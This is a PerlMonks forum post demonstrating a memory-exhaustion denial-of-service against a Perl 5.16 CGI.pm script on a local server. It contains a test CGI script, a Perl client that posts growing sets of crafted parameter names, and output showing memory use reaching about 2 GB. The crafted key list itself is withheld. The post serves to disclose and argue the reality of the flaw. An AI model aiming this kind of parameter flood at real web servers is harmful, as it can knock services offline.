Good. Until someone demonstrates an exploit, end-to-end, with realistic data and scenario, I'll value my own analysis over suspect theoretical speculation and retain and express my opinion based upon that analysis.

I have on my laptop a text file called 'keys', which I am *not* going to make publicly available, but which was generated by someone 3 years ago. It contains 350 short words, one per line, each matching /^[a-z]{2,7}$/. The whole file is under 2Kbytes.

Here is a small CGI script I have installed on a local apache web server. It uses bog-standard CGI.pm to process any received parameters.

#!/var/www/cgi-bin/d/perl-5.16.0.out/bin/perl5.16.0

use CGI;
my $q = CGI->new;
print $q->header();
print $q->start_html('hello world');

my @keys = $q->param;
printf "[[received %3d params; used %4dMbyte of RSZ]]<br>\n",
        scalar @keys, rsz();
print $q->end_html;

# use PS to get the resident memory size of the current process
sub rsz {
    return int($1 * 4096 / 1024 / 1024) if `ps -p $$ -o rsz` =~ /(\d+)
+/;
    return 0;
}
[download]

and here is a small HTTP client script. It reads that list of keys, then sends a series of simple HTTP requests including longer and longer subsets of those keys as parameters. The reply from the CGI script shows how much memory it used.

#!/usr/bin/perl

use strict;
use warnings;

use LWP::UserAgent; 
use HTTP::Request::Common qw{ POST };

my @keys = <>;
chomp for @keys;

my $start = time;

for (my $i = 10; $i <= 350; $i += 10) {
    my @params = map { $_ => 1 } @keys[0..$i-1];

    my $url = 'http://localhost/cgi-bin/index.cgi';
    my $ua      = LWP::UserAgent->new();
    my $request = POST( $url, [ @params ] );

    my $content = $ua->request($request)->as_string();
    $content =~/\[\[(.*)\]\]/ or die "unexpected response";
    print $1, "\n";
}
printf "TOTAL time %ds\n", time - $start;
[download]

And here is the result of running that client script:

$ ./client keys
received  10 params; used   24Mbyte of RSZ
received  20 params; used   24Mbyte of RSZ
received  30 params; used   24Mbyte of RSZ
received  40 params; used   24Mbyte of RSZ
received  50 params; used   24Mbyte of RSZ
received  60 params; used   24Mbyte of RSZ
received  70 params; used   24Mbyte of RSZ
received  80 params; used   24Mbyte of RSZ
received  90 params; used   23Mbyte of RSZ
received 100 params; used   24Mbyte of RSZ
received 110 params; used   24Mbyte of RSZ
received 120 params; used   24Mbyte of RSZ
received 130 params; used   24Mbyte of RSZ
received 140 params; used   24Mbyte of RSZ
received 150 params; used   24Mbyte of RSZ
received 160 params; used   24Mbyte of RSZ
received 170 params; used   25Mbyte of RSZ
received 180 params; used   25Mbyte of RSZ
received 190 params; used   25Mbyte of RSZ
received 200 params; used   28Mbyte of RSZ
received 210 params; used   28Mbyte of RSZ
received 220 params; used   32Mbyte of RSZ
received 230 params; used   32Mbyte of RSZ
received 240 params; used   39Mbyte of RSZ
received 250 params; used   56Mbyte of RSZ
received 260 params; used   56Mbyte of RSZ
received 270 params; used   87Mbyte of RSZ
received 280 params; used  152Mbyte of RSZ
received 290 params; used  152Mbyte of RSZ
received 300 params; used  279Mbyte of RSZ
received 310 params; used  280Mbyte of RSZ
received 320 params; used  536Mbyte of RSZ
received 330 params; used 1047Mbyte of RSZ
received 340 params; used 1047Mbyte of RSZ
received 350 params; used 2071Mbyte of RSZ
TOTAL time 2s
[download]

Note that I can trivially force the CGI script to allocate as much memory as I desire.

Dave.

---

---

• Are you posting in the right place? Check out Where do I post X? to know for sure.
• Posts may use any of the Perl Monks Approved HTML tags. Currently these include the following:

  <code> <a> <b> <big> <blockquote> <br /> <dd> <dl> <dt> <em> <font> <h1> <h2> <h3> <h4> <h5> <h6> <hr /> <i> <li> <nbsp> <ol> <p> <small> <strike> <strong> <sub> <sup> <table> <td> <th> <tr> <tt> <u> <ul>

• Snippets of code should be wrapped in <code> tags not <pre> tags. In fact, <pre> tags should generally be avoided. If they must be used, extreme care should be taken to ensure that their contents do not have long lines (<70 chars), in order to prevent horizontal scrolling (and possible janitor intervention).
• Want more info? How to link or How to display code and escape characters are good places to start.